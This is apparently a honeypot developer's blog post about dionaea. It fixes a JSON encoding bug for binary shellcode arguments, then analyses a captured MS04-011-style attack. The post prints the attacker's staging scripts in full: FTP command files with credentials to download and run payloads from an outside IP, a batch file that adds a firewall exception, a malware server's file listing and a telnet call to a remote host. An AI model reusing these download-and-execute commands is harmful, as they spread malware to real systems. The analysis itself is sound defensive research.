Looking at 'what happened' using readlogsqltree, readlogsqltree died with an exception trying to decode the json encoded profile of a shellcode:
2010-10-20 17:33:07
connection 496731 smbd tcp accept 93.218.66.143:445 <- 118.111.33.215:4602 (496731 None)
dcerpc bind: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' (DSSETUP) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))
Traceback (most recent call last):
File "/opt/dionaea/lib/python3.1/json/decoder.py", line 341, in raw_decode
obj, end = self.scan_once(s, idx)
StopIteration
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "./readlogsqltree.py", line 322, in <module>
print_db(options, args)
File "./readlogsqltree.py", line 294, in print_db
print_profiles(cursor, c['connection'], 2)
File "./readlogsqltree.py", line 57, in print_profiles
' ' * indent, json.loads(profile['emu_profile_json'])))
File "/opt/dionaea/lib/python3.1/json/__init__.py", line 291, in loads
return _default_decoder.decode(s)
File "/opt/dionaea/lib/python3.1/json/decoder.py", line 325, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/opt/dionaea/lib/python3.1/json/decoder.py", line 343, in raw_decode
raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded
I've found similar traces in dionaea-errors.log and got curious, so I edited readlogsqltree to print the raw content of the json data, instead of the compact version.
diff --git a/modules/python/util/readlogsqltree.py b/modules/python/util/readlogsqltree.py
index afab233..d904941 100755
--- a/modules/python/util/readlogsqltree.py
+++ b/modules/python/util/readlogsqltree.py
@@ -53,7 +53,8 @@ def print_profiles(cursor, connection, indent):
profiles = resolve_result(r)
for profile in profiles:
print("{:s} profile: {:s}".format(
- ' ' * indent, json.loads(profile['emu_profile_json'])))
+ ' ' * indent, profile['emu_profile_json']) )
+# ' ' * indent, json.loads(profile['emu_profile_json'])))
def print_services(cursor, connection, indent):
r = cursor.execute("SELECT * from emu_services WHERE connection = ?", (connection, ))
and I noticed this bad element in the shellcode profile:
{
"call": "WriteFile",
"args" : [
"137902136",
,
"53",
"",
""
],
"return": "1"
},
dionaea did not encode bytea arguments for shellcode profiles, therefore the data structure is not valid json for WriteFile.
I remembered I thought about how to encode bytea properly in json when I wrote the code, as json does not allow binary payloads per se, and therefore the values need special treatment to write into the json file, as well when retrieving the file.
Actually the best choice would have been base64, least overhead, but base64 always requires decoding, I felt better if I could read at least the non binary part when looking at encoded profiles.
So, I decided to replace
all non printable chars
\
'
”
by \\xNN, where NN is the hexval of the char replaced, I figured a regex would allow me to make it binary again.
Technically, maybe the worst solution, maximum overhead is 400% and decoding won't be that fast, but it is convinient for humans.
After adding the required lines to encode bytea args properly, I grabbed the bistream so I could replay the session, and the call looked better.
{
"call": "WriteFile",
"args" : [
"137902136",
"open 222.158.223.189\\x0d\\x0auser k\\x0d\\x0as\\x0d\\x0aget 1.bat 1.bat\\x0d\\x0abye",
"53",
"",
""
],
"return": "1"
},
So I gathered the whole profile from the logs, and had a look what was beeing done:
import re
a = [{'return': '137902136', 'args': ['g.bat', '1073741824', '0', '', '2', '128', '0'], 'call': 'CreateFile'}, {'return': '1', 'args': ['137902136', 'ftp -n -s:\\x22g.ftp\\x22\\x0d\\x0a1.bat', '24', '', ''], 'call': 'WriteFile'}, {'return': '0', 'args': ['137902136'], 'call': 'CloseHandle'}, {'return': '137902136', 'args': ['g.ftp', '1073741824', '0', '', '2', '128', '0'], 'call': 'CreateFile'}, {'return': '1', 'args': ['137902136', 'open 222.158.223.189\\x0d\\x0auser k\\x0d\\x0as\\x0d\\x0aget 1.bat 1.bat\\x0d\\x0abye', '53', '', ''], 'call': 'WriteFile'}, {'return': '0', 'args': ['137902136'], 'call': 'CloseHandle'}, {'return': '32', 'args': ['g.bat', '0'], 'call': 'WinExec'}, {'return': '0', 'args': ['0'], 'call': 'ExitThread'}]
# print(a[1]['args'][1])
# get the 2nd arg of the first WriteFile call
b = a[1]['args'][1]
# encode to binary
b = b.encode('ascii')
# replace \\xNN by int(NN,16)
c = re.sub(b'(\\\\x([0-9a-fA-F]{2}))',lambda x: bytes([int(x.group(2),16)]),b)
# decode to ascii (if possible)
d = c.decode('ascii')
print(d)
# all in one line for the 2nd WriteFile call
print(re.sub(b'(\\\\x([0-9a-fA-F]{2}))',lambda x: bytes([int(x.group(2),16)]),a[4]['args'][1].encode('ascii')).decode('ascii'))
So it would create two files, a file with commands for the ftp client to download 1.bat from a ftp server:
open 222.158.223.189
user k
s
get 1.bat 1.bat
bye
g.gtp
and a batch file to run the ftp client with the commandfile:
ftp -n -s:"g.ftp"
1.bat
g.bat
So I got 1.bat from the ftp server, and … it is another batch file:
@echo off
@cd /d %systemroot%\help
@del 1.ftp
echo open smtp.bigmail.tv>> 1.ftp
echo user k>> 1.ftp
echo s>> 1.ftp
echo binary>> 1.ftp
@del %systemroot%\help\internat.exe
@del %systemroot%\help\p.exe
echo get p.exe %systemroot%\help\p.exe>> 1.ftp
echo bye>>1.ftp
@netsh firewal add allowedprogram %systemroot%\system32\ftp.exe SystemFtp ENABLE
@ftp -n -s:"%systemroot%\help\1.ftp"
@%systemroot%\help\p.exe
@del 1.ftp
@del %systemroot%\system32\1.bat
@echo on
@del 1.bat
ftp://k:s@222.158.223.189/1.bat
Thats all files on the server:
./
./1.bat
./P.exe
./P.exe 100728
./adf/
./adf/20100604/
./adf/20100604/svchost32.exe
./adf/MSWINSCK.OCX
./adf/Rundll32.ex_
./adf/fanlaoshi/
./adf/fanlaoshi/Rundll32.exe
./adf/notepad16.exe
./adf/rundll32.ex
./adf/rundll32.exe
./adf/rundll32.exe 100728
./adf/rundll32.exe.100626
./adf/svchost32.exe
./adf/yuanshi/
./adf/yuanshi/20100613/
./adf/yuanshi/20100613/rundll32.exe
./bk/
./bk/ls2.exe
./bk/ls2back.exe
./bk/lsass-50t-65535n.exe
./bk/lsass.exe
./bk/lsassback.exe
./p.exe.bak
./test/
./test/lsass.exe
./test/test.bat
find
The file ”./test/test.bat” got my attention, just for beeing a batch file:
@telnet ipcommand.3322.org 4433
ipcommand.3322.org resolved to 221.212.139.252
dionaea still can't get the real file from the ftp server, so this type of evasion is still successful, and due to context required to get this done, I won't add code to prevent such evasion, it will just mess things up for some special cases.
It's not worth the effort, given a possible solution is simple: once you get an offer for ftp, try to access the ftp server, and download all files on the ftp server, apply some limits for file size, so you do not end up mirroring kernel.org.
And, for the sake of distribution, hook this mirroring into xmpp, so you get more ftp credentials, and apply the same logic for http, throw in a database, so you can check known malhosts periodically for new files, and post all new files to back to xmpp, sharing the samples with the sensors who contributed the credentials.
Sounds easy? get started.
Some notes if you want to vehicle python for this:
xmpp
ftp/http
database for credentials
So, you are likely to need a thread for xmpp, a thread for curl and a mutex for the sqlite db, twisted may be another alternative.